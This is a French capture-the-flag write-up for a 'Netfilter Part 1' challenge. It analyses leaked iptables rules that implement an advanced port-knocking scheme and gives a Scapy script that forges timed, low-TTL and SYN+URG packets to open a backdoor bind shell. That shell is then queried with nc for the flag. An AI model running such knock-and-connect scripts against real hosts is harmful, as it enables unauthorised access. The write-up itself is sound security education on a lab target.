Netfilter - Part 1

CTF : Mars@Hack 2026  ·  Catégorie : Réseau / Système  ·  Difficulté : Medium

« Je me suis gardé une petite "backdoor" de type "bind shell" afin d'être le seul à pouvoir administrer ma machine. Aucun risque, mes règles de parefeu sont les plus sûres du monde ! »

l'admin, quelques heures avant sa retraite forcée

Ce challenge est la première partie d'une série de deux. Il s'agit d'un port knocking avancé implémenté entièrement dans iptables pas de daemon knock, pas de script externe, juste du Netfilter pur, sauvage et verbeux. L'objectif : comprendre la machine à états cachée dans les règles pour accéder à un bind shell sur le port 54017.

This is fine l'admin face à son pare-feu
L'admin qui pense que tout va bien.

1 - Reconnaissance

Je commence par un scan Nmap

$ nmap -sV -p- --min-rate 5000 172.30.100.30
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-10 12:26 +0100
Nmap scan report for 172.30.100.30
Host is up (0.027s latency).

PORT      STATE    SERVICE VERSION
8080/tcp  open     http    SimpleHTTPServer 0.6 (Python 3.12.12)
54017/tcp filtered unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Deux ports. Le 8080 tourne un SimpleHTTPServer Python déjà louche pour un "serveur administré en toute sécurité". Le 54017 est filtré : iptables DROP, pas de réponse. C'est clairement lui la cible.

2 - La clé sous le paillasson

Un serveur HTTP sans auth qui tourne sur une machine avec une backdoor cachée ? On va voir ce qu'il sert.

$ curl -s http://172.30.100.30:8080/
<!DOCTYPE HTML>
<html lang="en">
<head><title>Directory listing for /</title></head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="backup/">backup/</a></li>
</ul>
</body></html>

Un dossier backup/. Accessible sans authentification. Sur la machine qu'on essaie de pénétrer. On continue.

$ curl -s http://172.30.100.30:8080/backup/
# → rules-save

$ curl -s http://172.30.100.30:8080/backup/rules-save

Et là, l'admin nous offre sur un plateau d'argent la sauvegarde complète de ses règles iptables. Le manuel d'exploitation de sa propre backdoor. Gratuitement. En clair. Depuis internet.

Surprised Pikachu
L'admin quand il réalise qu'on a lu ses règles.

3 - Déchiffrage du labyrinthe iptables

Les règles complètes

*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
:TRAMPOLINE - [0:0]
:ADM_AREA_ST1 - [0:0]
:ADM_AREA_ST2 - [0:0]
:ADM_AREA_ST3 - [0:0]
:ADM_AREA_ST4 - [0:0]
:ADM_AREA_ST5 - [0:0]
:ADM_AREA_ST6 - [0:0]
:REJECT_ICMP_HOST_PROHIBITED - [0:0]
:REJECT_ICMP_NET_PROHIBITED - [0:0]
:REJECT_ICMP_ADMIN_PROHIBITED - [0:0]
:REJECT_ICMP_HOST_UNREACHABLE - [0:0]
:FLUSH_LISTS - [0:0]

# Point d'entrée : tout paquet TCP NEW vers 54017 → TRAMPOLINE
-A INPUT -p tcp -m tcp --dport 54017 -m conntrack --ctstate NEW -j TRAMPOLINE

# TRAMPOLINE : dispatche dans l'ordre ST5 → ST3 → ST1
-A TRAMPOLINE -j ADM_AREA_ST5
-A TRAMPOLINE -j ADM_AREA_ST3
-A TRAMPOLINE -j ADM_AREA_ST1

# ST1 : premier contact enregistre l'IP dans RECENT_LIST1
-A ADM_AREA_ST1 -m recent --update --seconds 10  --hitcount 1 --name RECENT_LIST1 --rsource -j REJECT_ICMP_HOST_PROHIBITED
-A ADM_AREA_ST1 -m recent --update --seconds 20  --hitcount 1 --name RECENT_LIST1 --rsource -j ADM_AREA_ST2
-A ADM_AREA_ST1 -m recent --set              --name RECENT_LIST1 --rsource -j REJECT_ICMP_HOST_UNREACHABLE

# ST2 : vérifie le TTL doit être ≤ 42
-A ADM_AREA_ST2 -m ttl --ttl-gt 42 -j FLUSH_LISTS
-A ADM_AREA_ST2 -m recent --set --name RECENT_LIST2 --rsource -j REJECT_ICMP_NET_PROHIBITED

# ST3 : vérifie les flags TCP SYN+URG doit être dans RECENT_LIST2
-A ADM_AREA_ST3 -p tcp --tcp-flags SYN,URG SYN,URG -m recent --rcheck --name RECENT_LIST2 --rsource -j ADM_AREA_ST4
-A ADM_AREA_ST3 -j RETURN

# ST4 : enregistre l'IP dans RECENT_LIST3
-A ADM_AREA_ST4 -m recent --set --name RECENT_LIST3 --rsource -j REJECT_ICMP_ADMIN_PROHIBITED

# ST5 : vérifie si l'IP est dans RECENT_LIST3 → ST6
-A ADM_AREA_ST5 -m recent --rcheck --name RECENT_LIST3 --rsource -j ADM_AREA_ST6
-A ADM_AREA_ST5 -j RETURN

# ST6 : rate limiting 15 premiers paquets rejetés, puis ACCEPT
-A ADM_AREA_ST6 -m limit --limit 10/m --limit-burst 15 -j REJECT_ICMP_ADMIN_PROHIBITED
-A ADM_AREA_ST6 -j ACCEPT

# FLUSH_LISTS : remet les compteurs à zéro (punition si TTL trop élevé)
-A FLUSH_LISTS -m recent --remove --name RECENT_LIST1 --rsource
-A FLUSH_LISTS -m recent --remove --name RECENT_LIST2 --rsource
-A FLUSH_LISTS -m recent --remove --name RECENT_LIST3 --rsource
-A FLUSH_LISTS -j REJECT --reject-with icmp-admin-prohibited

# Chaînes de rejet différents codes ICMP pour varier les plaisirs
-A REJECT_ICMP_HOST_PROHIBITED   -j REJECT --reject-with icmp-host-prohibited
-A REJECT_ICMP_NET_PROHIBITED    -j REJECT --reject-with icmp-net-prohibited
-A REJECT_ICMP_ADMIN_PROHIBITED  -j REJECT --reject-with icmp-admin-prohibited
-A REJECT_ICMP_HOST_UNREACHABLE  -j REJECT --reject-with icmp-host-unreachable
COMMIT

La machine à états diagramme

Chaque paquet NEW vers 54017 entre dans TRAMPOLINE, qui tente les chaînes dans l'ordre ST5 → ST3 → ST1. Les chaînes qui ne correspondent pas font un RETURN silencieux, laissant passer au suivant. Le chemin vers le ACCEPT final ressemble à ça (un grand merci au très apprécié GEMINI):

Paquet TCP NEW → port 54017
        │
        ▼
   [TRAMPOLINE]
   ├─ ST5 ? ──(RECENT_LIST3 présent)──────────────────► ST6
   │              └─(non)─ RETURN                         │
   ├─ ST3 ? ──(SYN+URG && RECENT_LIST2 présent)─────► ST4 ─► RECENT_LIST3 enregistré
   │              └─(non)─ RETURN                         │    puis REJECT
   └─ ST1 ──(premier passage)───────────────────────► RECENT_LIST1 enregistré
              ├─(t < 10s depuis ST1)──────────────────► REJECT host-prohibited
              ├─(10s < t < 20s depuis ST1)─────────► ST2
              │    ├─(TTL > 42)───────────────────────► FLUSH_LISTS (reset tout)
              │    └─(TTL ≤ 42)──────────────────────► RECENT_LIST2 enregistré
              │                                           puis REJECT net-prohibited
              └─(t > 20s depuis ST1)───────────────────► REJECT host-unreachable (expire)

[ST6]
  ├─(15 premiers paquets)────────────────────────────► REJECT admin-prohibited
  └─(16e paquet et suivants)─────────────────────────► ACCEPT ✓

Décomposition de la séquence de frappe

Étape 1 S'enregistrer (ST1)

Un paquet TCP SYN standard vers le port 54017. Iptables le rejette (ICMP host-unreachable) mais grave l'IP source dans RECENT_LIST1. C'est le premier tampon.

Étape 2 Le TTL magique (ST2)

Entre 10 et 20 secondes après l'étape 1 (--seconds 10 et --seconds 20 bornent la fenêtre), on renvoie un SYN avec un TTL ≤ 42. Pourquoi 42 ? Parce que c'est la réponse à la vie, l'univers, et manifestement aussi aux règles de pare-feu. Si le TTL est trop élevé, FLUSH_LISTS efface tout et on recommence depuis zéro. Si c'est bon, RECENT_LIST2 est alimentée.

Étape 3 Les flags TCP déviants (ST3/ST4)

On forge un paquet TCP avec les flags SYN et URG simultanément activés. C'est une combinaison que la quasi-totalité des piles réseau ne génèrent jamais normalement ce qui en fait un excellent signal d'authentification. Si l'IP est dans RECENT_LIST2, ST4 l'enregistre dans RECENT_LIST3. La porte s'entrouvre.

Étape 4 Vider le seau (ST6)

L'IP est maintenant dans RECENT_LIST3. À chaque paquet, TRAMPOLINE passe directement par ST5 → ST6. Mais ST6 a un token bucket de 15 jetons (--limit-burst 15) qui rejette les 15 premiers. Il faut donc spammer 15 paquets poubelles rapides pour vider le seau. Le 16e paquet sera accepté.

Big brain time
Moi après avoir lu les règles pour la 7e fois.

4 - L'exploit

On implémente la séquence complète en Python + Scapy (S/O Gemini encore). Scapy permet de forger chaque paquet à la main TTL custom, flags TCP arbitraires, tout y passe.

#!/usr/bin/env python3
"""
knock.py Port knocking iptables pour Mars@Hack 2026 : Netfilter Part 1
Séquence : SYN → wait 12s → SYN(TTL=40) → SYN+URG → x15 flood → nc
"""
import time
from scapy.all import IP, TCP, send, conf

conf.verb = 0  # On se tait, Scapy

TARGET   = "172.30.100.30"
PORT     = 54017
src_port = 10000  # Port source incrémental pour les paquets de remplissage


# ── Étape 1 ─────────────────────────────────────────────────────────────────
# SYN standard → se fait rejeter, mais RECENT_LIST1 est alimentée
print("[1/4] Enregistrement dans RECENT_LIST1 (SYN standard)...")
send(IP(dst=TARGET) / TCP(sport=src_port, dport=PORT, flags="S"))
src_port += 1

# La fenêtre temporelle est [10s ; 20s[ → on vise 12s, confortablement dedans
print("      Attente de 12 secondes (fenêtre : 10s < t < 20s)...")
time.sleep(12)


# ── Étape 2 ─────────────────────────────────────────────────────────────────
# SYN avec TTL = 40 (≤ 42) → passe ST2, alimente RECENT_LIST2
# TTL > 42 → FLUSH_LISTS = game over, on recommence tout depuis le début
print("[2/4] Enregistrement dans RECENT_LIST2 (SYN, TTL=40)...")
send(IP(dst=TARGET, ttl=40) / TCP(sport=src_port, dport=PORT, flags="S"))
src_port += 1
time.sleep(1)


# ── Étape 3 ─────────────────────────────────────────────────────────────────
# SYN+URG simultanés → paquet TCP "malformé", passe ST3→ST4, alimente RECENT_LIST3
# Sans RECENT_LIST2 : RETURN silencieux, tombe dans ST1 qui repart de zéro
print("[3/4] Enregistrement dans RECENT_LIST3 (SYN+URG)...")
send(IP(dst=TARGET) / TCP(sport=src_port, dport=PORT, flags="SU"))
src_port += 1
time.sleep(1)


# ── Étape 4 ─────────────────────────────────────────────────────────────────
# Vidage du token bucket de ST6 (limit-burst 15)
# Les 15 premiers paquets → REJECT. Le 16e → ACCEPT.
# On envoie 15 paquets poubelles, ports sources différents pour éviter le dedup
print("[4/4] Épuisement du seau de tokens (15 paquets → on prépare le 16e)...")
for i in range(15):
    send(IP(dst=TARGET) / TCP(sport=src_port, dport=PORT, flags="S"))
    src_port += 1

print("\n[✓] Séquence terminée. Connexion nc en cours...")

On exécute le script (root requis pour forger des paquets raw), puis on connecte immédiatement avec nc avant que le token bucket ne se recharge.

$ sudo python3 knock.py && echo "cat /flag1.txt" | nc -nv -w 3 172.30.100.30 54017
[1/4] Enregistrement dans RECENT_LIST1 (SYN standard)...
      Attente de 12 secondes (fenêtre : 10s < t < 20s)...
[2/4] Enregistrement dans RECENT_LIST2 (SYN, TTL=40)...
[3/4] Enregistrement dans RECENT_LIST3 (SYN+URG)...
[4/4] Épuisement du seau de tokens (15 paquets → on prépare le 16e)...

[✓] Séquence terminée. Connexion nc en cours...
Connection to 172.30.100.30 54017 port [tcp/*] succeeded!
Bien, vous avez trouvé le premier flag : fl@g{Il0v3-1pt4bl3s}

Continuez à explorer pour la partie 2 ;-)
We're in !
Le sentiment après 12 secondes d'attente et 15 paquets poubelles.

Flag

fl@g{Il0v3-1pt4bl3s}

La Partie 2 attend. Le bind shell est ouvert et cette fois ce n'est que le début.